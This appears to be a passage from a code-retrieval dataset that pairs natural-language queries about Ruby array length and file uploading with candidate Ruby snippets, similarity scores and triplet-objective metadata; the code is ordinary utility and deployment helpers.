"def at(idx)\n Ruby.primitive :array_aref\n end",
"def x; return self[0]; end",
"def return_edinburgh(array)\n return array[1]\nend",
"def get_random_element_without_new_array\n\trandom_number = rand(1..length_of_mystery_array)\n# It is necessary to create a variable for this so that the value in the \n# conditional on line 50 will be the same as what was used in line 48.\n\trandom_number.times do |i|\n\t\telement = get_element\n\t\treturn element if i == random_number - 1\n# i is compared to random_number -1 to account for the iteration beginning at 0.\n\tend \nend",
"def whats_in_front\n @array[0]\n end",
"def array_method(input)\n\treturn input[-1]\nend",
"def [](i)\n\t\t\t@elements[i]\n\t\tend",
"def first_index(arr, &prc)\n arr.each.with_index do |ele, idx| \n return idx if prc.call(ele)\n end\n nil\nend",
"def get_at_index(index)\n return nil if index > length\n return get_at_index_helper(index, 0, @head)\n end",
"def [](index)\n raise ArgumentError, \"index must be < #{size}\" if index >= size\n number[index]\n end",
"def using_first(array)\narray.first\nend",
"def get(index)\n @array_list.get(index)\n end",
"def first_index(arr, &prc)\n\n arr.each_with_index do |ele, i|\n return i if prc.call(ele)\n end\n return nil\nend",
"def item(index)\n each_with_index { |item, ix| return item if index == ix } && nil\n end",
"def at( index )\r\n @ary.at(index + @offset)\r\n end",
"def calls_array\n a = return_array\n a[1]\n end",
"def [](*index)\n\n if (index.size != 0)\n @local_index[*index]\n elsif (@local_iterator)\n @local_iterator.get_current\n else\n raise \"No iterator defined! Cannot get element\"\n end\n\n end",
"def using_first(array)\n first_element=array.first\nend",
"def peek\n underlying_array.last\n end",
"def first_index(arr, &proc)\r\n arr.each_with_index { |el, i| return i if proc.call(el) }\r\n nil\r\nend",
"def get_perlin_item_1d(x, array)\n array[get_perlin_int_1d(x, 0, array.length-1)]\n end",
"def get_perlin_item_1d(x, array)\n array[get_perlin_int_1d(x, 0, array.length-1)]\n end",
"def get_single_element\n i = 0\n while i < (@bits.attr_length << LOG_BITS)\n if (member(i))\n return i\n end\n i += 1\n end\n return Label::INVALID\n end",
"def element(n, list)\n list[n - 1]\n end",
"def [](idx)\n Ruby.primitive :array_aref\n end",
"def index\n @array = [45, 6, 32, 0]\n end",
"def x() self[0]; end",
"def item\n return @data[@index] if @index >= 0\n @data[@old_index]\n end",
"def [](index)\n all[index]\n end",
"def get_position_or_immediate(i, num, array, param_mode)\n input = if param_mode == 1\n array[i + num]\n else\n array[array[i + num]]\n end\n input\nend",
"def magic_index(ary)\n find_magic_index(ary, ary.length/2, 0, ary.length - 1)\nend",
"def [](i)\n \t@vector[i] \n end",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def using_first(array)\n array.first\nend",
"def [](p0) end",
"def [](p0) end",
"def [](index)\n @val[index]\n end",
"def index(element)\n each_with_index { |e, index| return index if e == element }\n nil\n end",
"def next()\n x = @arr[@i]\n @i += 1\n x\n end",
"def find(index)\n x = index\n while @parent_array[x] != 0\n x = @parent_array[x]\n end\n return x\n end",
"def e\r\n a = [1, 2, 1.0]\r\n a[0]\r\nend",
"def first_element(my_first_element)\n my_first_element = @taylor_swift[1-1]\nend",
"def [](n)\n @data[n]\n end"
] |
[
"0.7648058",
"0.7508987",
"0.7508987",
"0.74526906",
"0.73454624",
"0.7331987",
"0.73044616",
"0.7272575",
"0.72411734",
"0.72411734",
"0.7142943",
"0.7097204",
"0.70658344",
"0.7056832",
"0.7038842",
"0.7021442",
"0.701853",
"0.7012795",
"0.69662035",
"0.6960363",
"0.6939334",
"0.6937742",
"0.6922438",
"0.6920969",
"0.68809456",
"0.68809456",
"0.687489",
"0.6842497",
"0.68416584",
"0.6804353",
"0.6804163",
"0.6784916",
"0.6781715",
"0.6771205",
"0.67654735",
"0.6761534",
"0.6760697",
"0.67591",
"0.6738275",
"0.6733058",
"0.6726719",
"0.6722698",
"0.6721153",
"0.6701728",
"0.66868645",
"0.66868645",
"0.66868645",
"0.66824543",
"0.6679552",
"0.665998",
"0.6629292",
"0.6626924",
"0.6616286",
"0.6594126",
"0.6545924",
"0.6543248",
"0.6516724",
"0.6501681",
"0.64977616",
"0.64950293",
"0.6491509",
"0.6488862",
"0.64867103",
"0.6472565",
"0.64695567",
"0.64595693",
"0.64567834",
"0.64273065",
"0.64214426",
"0.6411102",
"0.63991034",
"0.6392501",
"0.6390181",
"0.6383423",
"0.6364739",
"0.6363449",
"0.6345624",
"0.6345624",
"0.63440716",
"0.63163996",
"0.630855",
"0.63079596",
"0.63022107",
"0.629808",
"0.62963223",
"0.6289384",
"0.6268553",
"0.6263815",
"0.62584335",
"0.62584335",
"0.62584335",
"0.62584335",
"0.62577593",
"0.62577593",
"0.62560374",
"0.6256023",
"0.6246399",
"0.623759",
"0.6236477",
"0.6231309",
"0.6231111"
] |
0.0
|
-1
|
Using length to query about the number of elements in an array, not counting from zero
|
def length_of_array(array)
programming_languages = ["Ruby", "Javascript", "Python", "C++", "Java", "Lisp", "PHP", "Clojure"]
programming_languages.length # => 8
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array_length(array)\n\treturn array.length\nend",
"def length_of_array(array)\n return array.length\nend",
"def length_of_array (array)\n array.size\nend",
"def length(array)\n length = 0\n while !(array[length].nil?)\n length += 1\n end\n return length\n # raise NotImplementedError\nend",
"def array_length(array)\n array.length\nend",
"def length\n array.first.size\n end",
"def length_of_array(array)\n array.length\nend",
"def length(array)\n array_length = 0\n while array[array_length] != nil\n array_length += 1\n end\n return array_length # raise NotImplementedError\nend",
"def length\n array_list.length\n end",
"def get_length(arr)\n arr.flatten(2).count\nend",
"def size\n as_array ? as_array.length : 0\n end",
"def size\n as_array ? as_array.length : 0\n end",
"def arrLength(arr)\n return arr.length\nend",
"def length; count end",
"def length\r\n elements.length\r\n end",
"def size\n \t@array.count\n end",
"def size\n @array.length\n end",
"def length(array)\n count = 0\n until array[count] == nil\n count = count + 1\n end\n return count\nend",
"def size\n return @array.size\n end",
"def length(array)\n count = 0\n\n until array[count] == nil\n count += 1\n end\n\n return count\nend",
"def count\n underlying_array.length\n end",
"def length(array)\n index = 0\n while array[index] != nil\n index += 1\n end\n return index\nend",
"def length(array)\n array_length = 0\n 20.times do |i|\n if array[i] != nil\n array_length += 1\n elsif array[i] == nil\n break\n end\n end\n return array_length\n # raise NotImplementedError\nend",
"def length(array)\n count = 0\n\n until array[count].nil?\n count +=1\n end\n return count\nend",
"def using_size(array)\narray.size\nend",
"def length_finder(input_array)\n input_array.map { |elem| elem.size }\nend",
"def length_finder(array)\n iterator = 0\n new_array = []\n while iterator < array.length\n new_array << array[iterator].length\n iterator += 1\n end\n new_array\nend",
"def length(array)\n raise NotImplementedError\nend",
"def count_items(elective_array)\n return elective_array.length\nend",
"def get_length(array)\n return array.inject (0) { |length, el| length + 1 }\nend",
"def length\n reduce(0) {|sum,_| sum + 1 }\n end",
"def length\n @array_specs.spec_count\n end",
"def using_size(array)\n array.size\nend",
"def using_size(array)\n array.size\nend",
"def length_finder(input_array)\n input_array.map(&:length)\nend",
"def using_size(array)\n size_of_array=array.size\nend",
"def length\n @elements.length\n #@elements.size \n end",
"def get_length(arr)\n $index = 0\n def reroute(arr)\n arr.each do |entry| # bad because if array then the remaining numbers will not be counted but works\n if entry.class != Array \n $index += 1\n else \n reroute(entry)\n end\n end \n end\n reroute(arr)\n return $index\nend",
"def length(array)\n i = 0\n until array[i] == nil\n i += 1\n end\n return i\nend",
"def length_finder(input_array)\n arr = []\n for i in 0...input_array.length\n arr << input_array[i].length\n end\n arr\nend",
"def length(array)\r\n # have a counter that keeps track of where in the array you are\r\n i = 0;\r\n # loop through the array and check if that number is equal to nil\r\n while (array[i] != nil)\r\n # if it is not nil, increase i\r\n i+= 1;\r\n end\r\n\r\n # if it is nil, then the length is i\r\n return i\r\n\r\nend",
"def array_size(a)\n sprintf \"%d x %d\\n\\n\", a.length, a[0].length\nend",
"def count_all (array)\n count = 0\n i = 0\n while i < array.length\n count += array[i].length\n i += 1\n end\n return count\nend",
"def size\n @answer_array.length\n end",
"def length\n count\n end",
"def length(array)\n puts \"NOT IMPLEMENTED\"\nend",
"def size\n @ary.size / ARY_SLICE_SIZE\n end",
"def count_elements(array)\n\nend",
"def length\n count = 0\n each { count += 1 }\n count\n end",
"def length\n each.count\n end",
"def arrayLength(array)\n puts \"Nombre d'éléments : #{array.length}\"\nend",
"def %(len) # {{{\n inject([]) do |array, x|\n # array << [] if [*array.last].nitems % len == 0\n array << [] if [*array.last].count{|x| !x.nil?} % len == 0\n array.last << x\n array\n end\n end",
"def length()\n #This is a stub, used for indexing\n end",
"def find_length(array)\n \n array.map {|elem| elem.length}\n \nend",
"def count\n @rarray.length\n end",
"def element_count(array)\n\nend",
"def lengths arr\n\tarr_of_lengths = []\n\tarr.each { |i| arr_of_lengths.push(i.length)}\n\treturn arr_of_lengths\nend",
"def count_stops_in_array(stops_array)\n result = stops_array.length()\n return result\nend",
"def size\n @elements.length\n end",
"def length\n @items.count do |item|\n !item.nil?\n end\n end",
"def test_returns_count\n assert(\n FromArray.new([1, 2, 3]).count == 3\n )\n assert(\n FromArray.new([]).count.zero?\n )\n end",
"def length\r\n self.count\r\n end",
"def test_array_number_of_elements\n num_of_elem = nil\n array = [1,2,3,4]\n num_of_elem = array.count\n assert_equal 4, num_of_elem\n end",
"def size\n\t\tlengths.reduce(&:*)\n\tend",
"def length()\n #This is a stub, used for indexing\n end",
"def nnz; @elements.size end",
"def nitems\n count = 0\n i = 0\n lim = self.__size\n while i < lim\n count += 1 unless self.__at(i)._equal?(nil)\n i += 1\n end\n count\n end",
"def length\n values.length\n end",
"def length() end",
"def length() end",
"def length() end",
"def length() end",
"def length\n @count\n end",
"def length; return @results.length; end",
"def size\n values.flatten.size\n end",
"def length(array)\n array.rindex(array[-1]) + 1\nend",
"def ARRAYSIZE\n items = unwrap_array evaluation_stack.pop\n evaluation_stack.push items.length\n end",
"def length\n flatten.inject(0) { |sum, e| sum + e.length }\n end",
"def length_finder(input_array)\n #input_array.map { |s| s.length }\n input_array.map(&:length)\nend",
"def array_total(array)\t\n\tputs \"This list has #{array.length} elements in it\"\nend",
"def length(*) end",
"def length(*) end",
"def getLengthOfMissingArray(array_of_arrays)\n return 0 if array_of_arrays.nil? || array_of_arrays.empty? || array_of_arrays.any?{ |array| array == [] || array == nil }\n\n array_of_length = array_of_arrays.map(&:length)\n ([*array_of_length.min..array_of_length.max] - array_of_length).first\nend",
"def length\n @enumerable.length\n end",
"def size\n values.flatten.size\n end",
"def size\n values.flatten.size\n end",
"def size\n values.flatten.size\n end",
"def subarray_count(subarray)\n\t\t\t\t\teach_cons(subarray.length).count(subarray)\n\t\t\t end",
"def length\n CF.CFArrayGetCount(self)\n end",
"def size\n Integer.new.tap do |count|\n each { |element| count += 1 }\n end\n end",
"def length\n # calculates the length of the list\n end",
"def total_lines(arr)\n return arr.length\nend",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length; end",
"def length\n return @args[:data].length\n end"
] |
[
"0.82305527",
"0.8206172",
"0.8200662",
"0.8162408",
"0.81352437",
"0.8123398",
"0.81232095",
"0.80976796",
"0.78641665",
"0.7861858",
"0.7812499",
"0.7812499",
"0.7811178",
"0.7788945",
"0.77585524",
"0.77318406",
"0.7711827",
"0.768749",
"0.7657025",
"0.76563305",
"0.76531047",
"0.76484466",
"0.7635676",
"0.76305395",
"0.75977486",
"0.7594545",
"0.7575061",
"0.75710994",
"0.7503681",
"0.74979675",
"0.7483815",
"0.74549186",
"0.74386317",
"0.74386317",
"0.74300593",
"0.7429504",
"0.741668",
"0.74089736",
"0.7385164",
"0.73547435",
"0.73361415",
"0.7306746",
"0.7273146",
"0.7268583",
"0.7256603",
"0.7255802",
"0.72321075",
"0.72228485",
"0.72131085",
"0.7195536",
"0.7195491",
"0.7173525",
"0.7173411",
"0.7169746",
"0.7165648",
"0.7160226",
"0.71326923",
"0.7123032",
"0.7115444",
"0.7110672",
"0.7104862",
"0.7101292",
"0.7101037",
"0.70973444",
"0.7076197",
"0.70593035",
"0.70482475",
"0.7020806",
"0.701392",
"0.701392",
"0.701392",
"0.701392",
"0.70021796",
"0.69852376",
"0.6979453",
"0.69503945",
"0.69472563",
"0.69452065",
"0.6934233",
"0.6919897",
"0.6909097",
"0.6909097",
"0.69014627",
"0.690085",
"0.689942",
"0.689942",
"0.689942",
"0.6898508",
"0.6890503",
"0.68799746",
"0.68768567",
"0.6869714",
"0.68490094",
"0.68490094",
"0.68490094",
"0.68490094",
"0.68490094",
"0.68490094",
"0.68490094",
"0.6845525"
] |
0.7496289
|
30
|
Upload copy of latest run
|
def upload_latest_copy
upload_to_s3(report_files, prefix)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deploy!\n write_previous_revision\n update_repository\n write_revision\n end",
"def copy_site\n target_dir = File.join(@deploy_dir, @remote_path).sub(/\\/$/,'')\n FileUtils.cp_r @local + '/.', target_dir\n message = \"Site updated at: #{Time.now.utc}\"\n `git add --all .`\n `git commit -m \\\"#{message}\\\"`\n end",
"def upload(src,name)\n utilities.sudo_upload_template src, \"#{monit_confd}/#{name}\", :roles => :monit\n monit.cmd \"reload\"\n end",
"def update\n context.execute :rm, '-rf', \"#{deploy_path}/local_file/*\"\n context.upload! fetch(:repo_url), \"#{deploy_path}/local_file/#{fetch(:repo_url)}\"\n end",
"def upload\r\n \r\n end",
"def upload\n end",
"def upload\n end",
"def upload(filename, class_name, options={})\n if self.config.no_upload\n IronWorker.logger.debug 'NO UPLOAD!'\n return\n end\n name = options[:name] || class_name\n project_id = get_project_id(options)\n tmp = Dir.tmpdir()\n md5file = \"iron_worker_#{class_name.gsub(\"::\", \".\")}_#{token[0, 8]}.md5\"\n existing_md5 = nil\n md5_f = File.join(tmp, md5file)\n if File.exists?(md5_f)\n existing_md5 = IO.read(md5_f)\n end\n\n\n begin\n\n zip_filename = build_merged_file(filename, options[:merge], options[:unmerge], options[:merged_gems], options[:unmerged_gems], options[:merged_mailers], options[:merged_folders], class_name)\n\n # Check for code changes.\n zipfile = Zip::ZipFile.open(zip_filename, Zip::ZipFile::CREATE)\n crc = zipfile.entries.collect { |x| x.crc }.inject(:+)\n new_code = false\n if self.config.force_upload || crc.to_s != existing_md5\n IronWorker.logger.info \"Uploading #{class_name}, code modified.\"\n File.open(md5_f, 'w') { |f| f.write(crc) }\n new_code = true\n # todo: delete md5 file if error occurs during upload process\n else\n# puts \"#{class_name}: same code, not uploading\"\n return\n end\n\n if new_code\n upload_code(name, zip_filename, 'runner.rb', :runtime=>'ruby')\n end\n\n rescue Exception => ex\n # if it errors, let's delete md5 since it wouldn't have uploaded.\n File.delete(md5_f) if File.exists?(md5_f)\n raise ex\n end\n end",
"def release\n context.execute :tar, '-xvzf', \"#{deploy_path}/local_file/#{fetch(:repo_url)}\"\n context.execute :rsync, \"-a\", \"--exclude=#{fetch(:repo_url)}\", \"#{deploy_path}/local_file/*\", release_path\n end",
"def upload(local_dir:, name:, flavor:, project:, build_number:)\n raise \"#{self.class}#publish not implemented\"\n end",
"def save\n path = UPLOADS_DIR.join(archive.original_filename)\n File.open(path, 'w') do |file| \n file.write(archive.read)\n end\n if backend = Instance.backend\n backend.deploy path\n end\n end",
"def publish_latest_version \n publish_version(latest_version)\n end",
"def upload_shipped\n end",
"def save\n require 'git'\n git = Git.open('.', :log => Logger.new($stdout))\n git.pull # origin master\n write_version_to_file\n git.add(Version.path)\n git.commit(\"Bump version to #{self}.\")\n git.add_tag(self.to_s)\n git.push('origin', 'master', true) # including tags\n notify_campfire(git)\n rescue LoadError\n raise LoadError, \"You must have the git gem installed to make a release.\"\n end",
"def upload_files_for_updater(update_ssh_host, update_ssh_user, update_path,\n update_temp_path, program_unix_name)\n \n server = remote_host(update_ssh_host, :user => update_ssh_user)\n program_temp = \"#{update_temp_path}/#{program_unix_name}\"\n buildscript_temp = \"#{update_temp_path}/buildscript\"\n \n server.upload('./', program_temp, :exclude => '.git')\n server.upload(\"#{buildscript_source_dir}/\", buildscript_temp,\n :exclude => '.git')\n server.run('chmod', '-R', 'a+r', program_temp, buildscript_temp)\n server.run('chmod', '-R', 'ug+wX', program_temp, buildscript_temp)\n server.run('ruby', \"-I#{update_temp_path}\", \n \"#{buildscript_temp}/build_update_server.rb\",\n program_temp, update_path)\nend",
"def upload_new_content\n tempfile = Tempfile.new('rosh_remote_file')\n tempfile.write(@unwritten_contents)\n tempfile.rewind\n current_shell.upload(tempfile, @path)\n\n tempfile.unlink\n @unwritten_contents = nil\n\n current_shell.last_exit_status.zero?\n end",
"def publish!\n release_file = build_role 'release', release\n\n timestamp.replace(release_file)\n\n timestamp_file = build_role 'timestamp', timestamp\n\n bucket.create(release_file.path_with_hash, release_file.body)\n bucket.create(timestamp_file.path, timestamp_file.body)\n end",
"def upload(major)\n unless File.exist?(major)\n puts \"File #{major} not found.\"\n return\n end\n major = File.absolute_path(major)\n response, success = ImgurAPI.upload(major)\n puts response unless success\n if success\n response = \"![#{options[:title].nil? ? 'Screenshot' : options[:title]}](#{response})\" if options[:markdown]\n response = build_HTML_response(response) if options[:html]\n puts \"Copied #{Platform.copy(response)} to clipboard\"\n end\n storage.save\n end",
"def knife_upload\n puts 'Uploading roles, environments and data bags'\n command = ['knife upload']\n command << '.'\n command << \"-c #{@config.knife_rb}\"\n\n Dir.chdir(@config.workspace)\n puts `#{command.join(' ')}`\n\n fail 'knife upload failed' unless process_last_status.success?\n end",
"def update_remote\n last_commit = @connection.last_commit(self.id)\n files = Repository.diff(last_commit)\n \n if files.length > 0\n puts \"#{files.length} changes since last delivery\"\n pbar = ProgressBar.new(\"Uploading\", files.length)\n files.each do |file|\n @connection.send(Gift::Connection.file_method(file.last.action), file.last)\n pbar.inc\n end\n pbar.finish\n \n last_commit = Gift::Repository.last_commit_hash unless last_commit && last_commit != \"\"\n self.save_state(last_commit)\n else\n puts \"Everything up to date!\"\n end\n \n @connection.close\n end",
"def save\n repository.create_contents(path, \"Upload #{path}\", content)\n end",
"def perform_backup\n \n add_memories_to_dropbox! if has_dropbox?\n\n # Clone the repo incase something is writing to it while we are backing up\n run \"cd #{@home} && git clone --bare #{@repo} #{@repo}.mirror\"\n output=run \"backup perform --trigger=daily_backup --log-path #{@dirs[:logs ]}\"\n run \"cd #{@home} && rm -fr #{@repo}.mirror\"\n \n get_timestamp(output)\n end",
"def git_upload_pack\n enqueue_fetch_statistics_update\n\n render_ok\n end",
"def save_uploaded( filename )\n print system( \"cp -pv '#{filename}' '#{@upload_dir}/'\" )\n end",
"def upload_fb_script(args)\n # @setup_script is defined in 10_load_data.rake. This is the local script file.\n nim_master = args[:nim_master]\n nim_remote_user = args[:nim_remote_user]\n nim_local_user = args[:nim_local_user]\n STDOUT.puts \"# Uploading first boot script, #{@setup_script}...\"\n sh \"sudo su - #{nim_local_user} -c \\\" scp -o StrictHostKeyChecking=no #{@setup_script} \\\n #{nim_remote_user}@#{nim_master}:#{@remote_fb_script_path}/#{File.basename(@setup_script)}\\\"\"\nend",
"def publish!\n self.published = true\n self.downloads = 0\n \n # upgrade if necessary\n if upgrade_needed? || current_version.nil?\n upgrade_version!\n else\n save(:validate => false)\n end\n end",
"def post_copy(src_repo,data)\n curl_post(\"#{self.host}/api2/repos/#{src_repo}/fileops/copy/\",data).body_str\n end",
"def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join('/', remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n File.open(src, 'r') do |file|\n @uploader = ChunkedUploader.new(client, file)\n with_retries do\n @uploader.upload(1024**2 * chunk_size)\n end\n end\n\n with_retries do\n @uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end",
"def upload_base_on_boa\n cmd = \"scp -p #{base_local_path.expanded_path} #{serveur_ssh_boa}:#{base_distant_path_boa}\"\n res = `#{cmd}`\n end",
"def post_install_actions\n Dir.chdir(@project_name) do\n SemVer.new.save(SemVer::FILE_NAME)\n end\n end",
"def sync(revision, destination)\n scm :update, verbose, authentication, \"-r#{revision}\", destination\n end",
"def upload_and_run(local_path, remote_path)\n upload local_path, remote_path\n run \"chmod a+x #{remote_path}\"\n sudo remote_path\n sudo \"rm #{remote_path}\"\nend",
"def update_buildfile\n buildfile = change_version { |version| # THIS_VERSION minus SNAPSHOT\n resolve_next_version(this_version) # THIS_VERSION\n }\n File.open(Rake.application.rakefile.to_s, 'w') { |file| file.write buildfile }\n end",
"def github_uploading\n puts\n github = \"Uploading package\"\n puts bold(github)\n puts github.length.times.map {\"=\"}.join\n puts\n end",
"def update_buildfile\n buildfile = change_version { |version| # THIS_VERSION minus SNAPSHOT\n resolve_next_version(this_version) # THIS_VERSION\n }\n File.open(version_file, 'w') { |file| file.write buildfile }\n end",
"def cookbook_upload()\n # Git meuk should not be uploaded use chefignore file instead\n # FileUtils.remove_entry(\"#{@github_tmp}/git/#{@cookbook_name}/.git\")\n\t\t args = ['cookbook', 'upload', @cookbook_name ]\n if config[:final]\n args.push \"--freeze\"\n end\n upload = Chef::Knife::CookbookUpload.new(args)\n # upload.config[:cookbook_path] = \"#{@github_tmp}/git\"\n # plugin will throw its own errors\n upload.run\n end",
"def upload\n @files.each do |fn|\n sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end",
"def run_upload!\n \tself.status = 'En Proceso'\n \tsave\n end",
"def transfer!\n backup = connection.backups.create\n Logger.info \"Created backup [#{backup.id}]\"\n\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n metadata = {}\n\n [:sha512sum, :sha1sum, :cksum].each do |cmd|\n if !`which #{cmd}`.empty?\n metadata[cmd] = %x|#{cmd} #{src}|.split.first\n break\n end\n end\n\n metadata[:size] = %x|ls -sh #{src}|.split.first\n\n backup_file = backup.files.create(filename: src, metadata: metadata)\n Logger.info \"Created backup file [#{backup_file.id}]\"\n\n Logger.info \"EngineYard performing upload of '#{File.join(src)}' to '#{backup_file.upload_url}' with metadata '#{metadata.inspect}'.\"\n\n backup_file.upload(file: src)\n end\n Logger.info \"Finished uploading files for backup [#{backup.id}]\"\n\n backup.finish!\n\n Logger.info \"Finished backup [#{backup.id}]\"\n end",
"def sync(revision, destination)\n scm :update, config[:arguments], verbose, authentication, \"-r#{revision}\", destination\n end",
"def ingest_new_content( depositor, dirname, wsname, current, total )\n\n filename = File.join( dirname, wsname )\n _, asset_filenames = IngestHelpers.load_workset( filename )\n\n puts \"Ingesting #{current} of #{total}: #{filename} ...\"\n\n work_id = IngestHelpers.get_ingest_id( filename )\n if work_id.blank?\n puts \"ERROR: #{filename} has no ingest id, continuing anyway\"\n return false\n end\n\n work = TaskHelpers.get_work_by_id( work_id )\n if work.nil?\n puts \"ERROR: work #{work_id} does not exist, continuing anyway\"\n return false\n end\n\n asset_filenames.each_with_index do |f, ix|\n label = IngestHelpers.construct_file_label( ix + 1, f, work )\n puts \" asset #{ix + 1} of #{asset_filenames.length}: #{f} (#{label})\"\n\n # handle dry running\n next if ENV[ 'DRY_RUN' ]\n\n # and upload the file\n fileset = TaskHelpers.upload_file( depositor, work, File.join( dirname, f ), label )\n fileset.date_uploaded = DateTime.now\n fileset.save!\n end\n\n return true\n end",
"def save\n valid? && upload and distribute\n end",
"def deploySource\n verifyOS\n timeDate = Time.new\n vConfig(CONFIG['configWebsite'])\n read_json(CONFIG['configWebsite'])\n branchSource = @parse_json_config['deploy']['branch']['source']\n msgCommit = @parse_json_config['deploy']['github']['config']['commit']\n add_repo_git(\".\")\n add_remoteurl(\".\")\n pull_execute(branchSource, \".\")\n git_checkout(branchSource, \".\")\n system_commands(\"echo Deploy source files. Wait ...\")\n system_commands(\"git add .\")\n system_commands(\"git commit -m \\\"#{msgCommit} - #{timeDate.inspect}\\\"\")\n system_commands(\"git push origin -u #{branchSource}\")\n end",
"def create_study_file_copy\n begin\n ApplicationController.firecloud_client.execute_gcloud_method(:copy_workspace_file, 0,\n study.bucket_id,\n study_file.bucket_location,\n study_file.parse_fail_bucket_location)\n if study_file.is_bundled? && study_file.is_bundle_parent?\n study_file.bundled_files.each do |file|\n # put in same directory as parent file for ease of debugging\n bundled_file_location = \"parse_logs/#{study_file.id}/#{file.upload_file_name}\"\n ApplicationController.firecloud_client.execute_gcloud_method(:copy_workspace_file, 0,\n study.bucket_id,\n file.bucket_location,\n bundled_file_location)\n end\n end\n true\n rescue => e\n ErrorTracker.report_exception(e, user, study_file, { action: :create_study_file_copy})\n false\n end\n end",
"def upload(upload_to = nil)\n upload_task(upload_to).invoke\n end",
"def download(build, installer_name)\n #delete the installer if there is with the similar name to make sure we are running the correct one\n\tFile.delete(installer_name) if File.exist?(installer_name)\n\traise \"Could not determine the latest build\\n\" if build <= 0 #Expected value is more than zero\n\tdownload_result = `scp oheneralov@tmt.calavista.com://opt//ctk//builds//numbered//sequenceL-Root-#{build}/#{$os_name}//installer.run #{installer_name}`\n\traise \"Error! The installer was not downloaded\\n\" unless File.exist?(installer_name)\n\t#error if the installer size is less than 5 MB\n\traise \"The installer is broken!\" unless File.size(installer_name)/(1024*1024) > 5\n\nend",
"def upload(ci_project_name)\n return puts \"\\nNothing to upload!\" if files.empty?\n\n files.each do |file|\n file_name = \"#{ci_project_name}/#{file.split('/').last}\"\n Runtime::Logger.info(\"Uploading #{file_name}...\")\n gcs_storage.put_object(BUCKET, file_name, File.read(file))\n end\n\n puts \"\\nDone\"\n end",
"def add_from_upload\n\t\tbegin\n\t\t\tproject = Project.editable(current_user).find_by_name(params[:project_id])\n\t\t\traise \"The project does not exist, or you are not authorized to make a change to the project.\\n\" unless project.present?\n\t\t\traise ArgumentError, \"sourcedb is not specified.\" unless params[\"sourcedb\"].present?\n\n\t\t\tsourcedb = params[\"sourcedb\"]\n\t\t\tfilename = params[:upfile].original_filename\n\t\t\text = File.extname(filename)\n\t\t\traise ArgumentError, \"Unknown file type: '#{ext}'.\" unless ['.txt'].include?(ext)\n\n\t\t\traise \"Up to 10 jobs can be registered per a project. Please clean your jobs page.\" unless project.jobs.count < 10\n\n\t\t\tfilepath = File.join('tmp', \"add-docs-to-#{params[:project_id]}-#{Time.now.to_s[0..18].gsub(/[ :]/, '-')}#{ext}\")\n\t\t\tFileUtils.mv params[:upfile].path, filepath\n\n\t\t\t# AddDocsToProjectFromUploadJob.perform_now(project, sourcedb, filepath)\n\n\t\t\tactive_job = AddDocsToProjectFromUploadJob.perform_later(project, sourcedb, filepath)\n\t\t\tjob = Job.find_by(active_job_id: active_job.job_id)\n\t\t\tmessage = \"The task, '#{active_job.job_name}', is created.\"\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html {redirect_back fallback_location: root_path, notice: message }\n\t\t\t\tformat.json {render json: {message: message, task_location: project_job_url(project.name, job.id, format: :json)}, status: :ok}\n\t\t\tend\n\t\trescue => e\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html {redirect_back fallback_location: root_path, notice: e.message }\n\t\t\t\tformat.json {render json: {message: e.message}, status: :unprocessable_entity}\n\t\t\tend\n\t\tend\n\tend",
"def update!\n log(:info, \"Updating source: #{@host}\")\n Downloader.get(specs_url, work_archive_file)\n Unpacker.gzip(work_archive_file)\n FileUtils.mv(work_index_file, index_file)\n end",
"def do_upload(f_path, r_path)\n with_exp_backoff(LokaliseRails.max_retries_export) do\n api_client.upload_file project_id_with_branch, opts(f_path, r_path)\n end\n end",
"def push\n if File.exist?(@local)\n check_branch\n init_repo\n puts \"Syncing #{@local.sub(Dir.pwd.strip+'/', '')} files to #{@repo}.\"\n FileUtils.cd @deploy_dir do\n git_pull\n clean_deploy\n copy_site\n git_push\n end\n else\n abort \"Cannot find site build at #{@local}. Be sure to build your site first.\"\n end\n end",
"def test_copy_using_cp\n @rogerfile.release(blank: true, cleanup_build: false)\n @project.construct.file \"html/test.txt\"\n @project.release.run!\n\n build_path = @project.release.build_path\n\n assert build_path.exist?\n assert_equal 1, build_path.children.size\n assert_equal build_path + \"test.txt\", build_path.children.first\n end",
"def commit_file\n if @upload.public? && @upload.file_type.public? && @upload.address.blank? && (@upload.creating? || @upload.failed?)\n BlockchainCommitJob.perform_later(@upload.id)\n end\n end",
"def sync_config\n return unless config.config_files\n upload_files(config.config_files, release_path.join('config'))\n end",
"def update_github\n unless environment_is_production\n puts 'NOT updating github because environment is not production'\n return false\n end\n\n puts 'pushing database to github'\n\n @scraper_log.info \"------------------------------\"\n @scraper_log.info \"updating git\"\n @scraper_log.info \"------------------------------\"\n x = Subexec.run \"git add #{@db_dump_file} #{@status_file_name}\"\n x = Subexec.run \"git commit -m 'Updated database dump file and status.json with new hr.gov.ge data'\"\n x = Subexec.run \"git push origin master\"\nend",
"def now!\r\n @last_build_file.modification_time = @time = Time.now\r\n end",
"def call\n clone_revision\n end",
"def save_file \n Grit.debug = true\n contents = params[:contents]\n message = params[:commit_message]\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n save_file_to_disk(contents, @node.abspath)\n stage_and_commit_file(@node.repo_base_path, @node.git_repo_path, message)\n flash[:notice] = \"Created New Version\"\n render :action => :file\n end",
